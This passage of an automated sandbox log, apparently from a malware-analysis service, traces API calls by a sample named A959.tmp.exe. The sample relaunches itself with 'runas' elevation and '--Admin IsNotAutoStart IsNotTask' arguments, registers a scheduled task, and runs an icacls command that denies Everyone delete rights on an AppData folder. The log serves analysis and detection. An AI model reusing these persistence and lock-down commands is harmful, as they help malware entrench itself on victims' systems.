varVal2=0xc8), ppTask=0x18c384 | out: ppTask=0x18c384*=0x26d0f30) returned 0x0 [0042.086] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f3200 | out: hHeap=0x620000) returned 1 [0042.086] TaskScheduler:IUnknown:Release (This=0x2bff98) returned 0x0 [0042.086] TaskScheduler:IUnknown:Release (This=0x26d0b88) returned 0x0 [0042.086] IUnknown:Release (This=0x26d0f30) returned 0x0 [0042.087] CoUninitialize () [0042.087] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x311aa88 | out: hHeap=0x620000) returned 1 [0042.087] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x311a9c0 | out: hHeap=0x620000) returned 1 [0042.087] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x311a8f8 | out: hHeap=0x620000) returned 1 [0042.087] GetVersion () returned 0x1db10106 [0042.087] lstrcpyW (in: lpString1=0x18c8f0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0042.087] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0042.087] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0042.088] ShellExecuteExW (in: pExecInfo=0x18c5ac*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18c5ac*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0042.183] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30d9760 | out: hHeap=0x620000) returned 1 [0042.183] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x311a830 | out: hHeap=0x620000) returned 1 [0042.183] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x706dc8 | out: hHeap=0x620000) returned 1 [0042.184] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6fbf48 | out: hHeap=0x620000) returned 1 [0042.184] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6ca870 | out: hHeap=0x620000) returned 1 [0042.184] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3108990 | out: hHeap=0x620000) returned 1 [0042.184] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6ffe08 | out: hHeap=0x620000) returned 1 [0042.184] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cde38 | out: hHeap=0x620000) returned 1 [0042.185] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cc230 | out: hHeap=0x620000) returned 1 [0042.185] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18d894 | out: phModule=0x18d894) returned 0 [0042.185] ExitProcess (uExitCode=0x0) [0042.188] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x312a860 | out: hHeap=0x620000) returned 1 [0042.188] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cb438 | out: hHeap=0x620000) returned 1 [0042.196] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x78c Thread: id = 3 os_tid = 0x5d0 Thread: id = 4 os_tid = 0x6e4 Thread: id = 5 os_tid = 0x114 Thread: id = 6 os_tid = 0x354 Thread: id = 7 os_tid = 0x59c Thread: id = 21 os_tid = 0x4a4 Thread: id = 22 os_tid = 0x7cc Thread: id = 23 os_tid = 0x7a8 Thread: id = 33 os_tid = 0x1e8 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 8 os_tid = 0x76c Thread: id = 9 os_tid = 0x758 Thread: id = 10 os_tid = 0x74c Thread: id = 11 os_tid = 0x72c Thread: id = 12 os_tid = 0x71c Thread: id = 13 os_tid = 0x718 Thread: id = 14 os_tid = 0x638 Thread: id = 15 os_tid = 0x154 Thread: id = 16 os_tid = 0x150 Thread: id = 17 os_tid = 0x128 Thread: id = 18 os_tid = 0x12c Thread: id = 19 os_tid = 0x120 Thread: id = 20 os_tid = 0x3fc Thread: id = 24 os_tid = 0x6d0 Thread: id = 82 os_tid = 0xa54 Thread: id = 102 os_tid = 0xab8 Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x4d0dc000" os_pid = "0x358" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x7fc Thread: id = 26 os_tid = 0x2ac Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x33c Thread: id = 28 os_tid = 0x578 Thread: id = 29 os_tid = 0x574 Thread: id = 30 os_tid = 0x520 Thread: id = 31 os_tid = 0x514 Thread: id = 32 os_tid = 0x510 Thread: id = 70 os_tid = 0x82c Process: id = "5" image_name = "a959.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a959.tmp.exe" page_root = "0x4c487000" os_pid = "0x714" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0x244 [0042.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xac6b5f0, dwHighDateTime=0x1d53559)) [0042.296] GetCurrentProcessId () returned 0x714 [0042.296] GetCurrentThreadId () returned 0x244 [0042.296] GetTickCount () returned 0x19971 [0042.296] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16257882976) returned 1 [0042.315] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x452124)) [0042.316] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0042.316] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x230000 [0042.317] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0042.317] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0042.317] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0042.317] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0042.317] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0042.318] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x214) returned 0x2307d0 [0042.318] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0042.318] GetCurrentThreadId () returned 0x244 [0042.318] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x44c794, hStdOutput=0x44cb47, hStdError=0x2307d0)) [0042.318] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x2309f0 [0042.318] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.318] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.318] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.318] SetHandleCount (uNumber=0x20) returned 0x20 [0042.318] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A959.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0042.318] GetEnvironmentStringsW () returned 0x681f00* [0042.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0042.318] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x565) returned 0x2311f8 [0042.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2311f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0042.318] FreeEnvironmentStringsW (penv=0x681f00) returned 1 [0042.319] GetLastError () returned 0x5 [0042.319] SetLastError (dwErrCode=0x5) [0042.319] GetLastError () returned 0x5 [0042.319] SetLastError (dwErrCode=0x5) [0042.319] GetLastError () returned 0x5 [0042.319] SetLastError (dwErrCode=0x5) [0042.319] GetACP () returned 0x4e4 [0042.319] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x220) returned 0x231768 [0042.319] GetLastError () returned 0x5 [0042.319] SetLastError (dwErrCode=0x5) [0042.319] IsValidCodePage (CodePage=0x4e4) returned 1 [0042.319] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0042.319] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0042.319] GetLastError () returned 0x5 [0042.319] SetLastError (dwErrCode=0x5) [0042.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.319] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0042.319] GetLastError () returned 0x5 [0042.319] SetLastError (dwErrCode=0x5) [0042.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ̇쏫鹀EĀ") returned 256 [0042.319] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ̇쏫鹀EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0042.319] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ̇쏫鹀EĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0042.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x03\xa1\x14\xc3\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0042.319] GetLastError () returned 0x5 [0042.319] SetLastError (dwErrCode=0x5) [0042.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ̇쏫鹀EĀ") returned 256 [0042.320] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ̇쏫鹀EĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0042.320] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ̇쏫鹀EĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 